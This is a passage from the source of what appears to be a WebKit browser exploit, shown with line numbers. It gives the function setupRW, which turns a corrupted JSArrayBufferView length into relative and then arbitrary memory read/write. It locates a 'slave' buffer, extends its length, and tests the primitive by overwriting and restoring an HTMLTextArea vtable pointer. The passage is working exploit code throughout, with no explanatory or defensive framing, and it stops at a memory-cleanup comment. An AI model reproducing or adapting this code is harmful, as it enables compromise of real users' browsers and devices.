| 53 | |
| 54 | /* Executed after deleteBubbleTree */ |
| 55 | function setupRW() { |
| 56 | /* Now the m_length of the JSArrayBufferView should be 0xffffff01 */ |
| 57 | for (let i = 0; i < g_arr_ab_3.length; i++) { |
| 58 | if (g_arr_ab_3[i].length > 0xff) { |
| 59 | g_relative_rw = g_arr_ab_3[i]; |
| 60 | debug_log("[+] Succesfully got a relative R/W"); |
| 61 | break; |
| 62 | } |
| 63 | } |
| 64 | if (g_relative_rw === null) |
| 65 | die("[!] Failed to setup a relative R/W primitive"); |
| 66 | |
| 67 | debug_log("[+] Setting up arbitrary R/W"); |
| 68 | |
| 69 | /* Retrieving the ArrayBuffer address using the relative read */ |
| 70 | let diff = g_jsview_leak.sub(g_timer_leak).low32() - LENGTH_STRINGIMPL + 1; |
| 71 | let ab_addr = new Int64(str2array(g_relative_read, 8, diff + OFFSET_JSAB_VIEW_VECTOR)); |
| 72 | |
| 73 | /* Does the next JSObject is a JSView? Otherwise we target the previous JSObject */ |
| 74 | let ab_index = g_jsview_leak.sub(ab_addr).low32(); |
| 75 | if (g_relative_rw[ab_index + LENGTH_JSVIEW + OFFSET_JSAB_VIEW_LENGTH] === LENGTH_ARRAYBUFFER) |
| 76 | g_ab_index = ab_index + LENGTH_JSVIEW; |
| 77 | else |
| 78 | g_ab_index = ab_index - LENGTH_JSVIEW; |
| 79 | |
| 80 | /* Overding the length of one JSArrayBufferView with a known value */ |
| 81 | g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0x41; |
| 82 | |
| 83 | /* Looking for the slave JSArrayBufferView */ |
| 84 | for (let i = 0; i < g_arr_ab_3.length; i++) { |
| 85 | if (g_arr_ab_3[i].length === 0x41) { |
| 86 | g_ab_slave = g_arr_ab_3[i]; |
| 87 | g_arr_ab_3 = null; |
| 88 | break; |
| 89 | } |
| 90 | } |
| 91 | if (g_ab_slave === null) |
| 92 | die("[!] Didn't found the slave JSArrayBufferView"); |
| 93 | |
| 94 | /* Extending the JSArrayBufferView length */ |
| 95 | g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0xff; |
| 96 | g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 1] = 0xff; |
| 97 | g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 2] = 0xff; |
| 98 | g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 3] = 0xff; |
| 99 | |
| 100 | debug_log("[+] Testing arbitrary R/W"); |
| 101 | |
| 102 | let saved_vtable = read64(guess_htmltextarea_addr); |
| 103 | write64(guess_htmltextarea_addr, new Int64("0x4141414141414141")); |
| 104 | if (!read64(guess_htmltextarea_addr).equals("0x4141414141414141")) |
| 105 | die("[!] Failed to setup arbitrary R/W primitive"); |
| 106 | |
| 107 | debug_log("[+] Succesfully got arbitrary R/W!"); |
| 108 | |
| 109 | /* Restore the overidden vtable pointer */ |
| 110 | write64(guess_htmltextarea_addr, saved_vtable); |
| 111 | |
| 112 | /* Cleanup memory */ |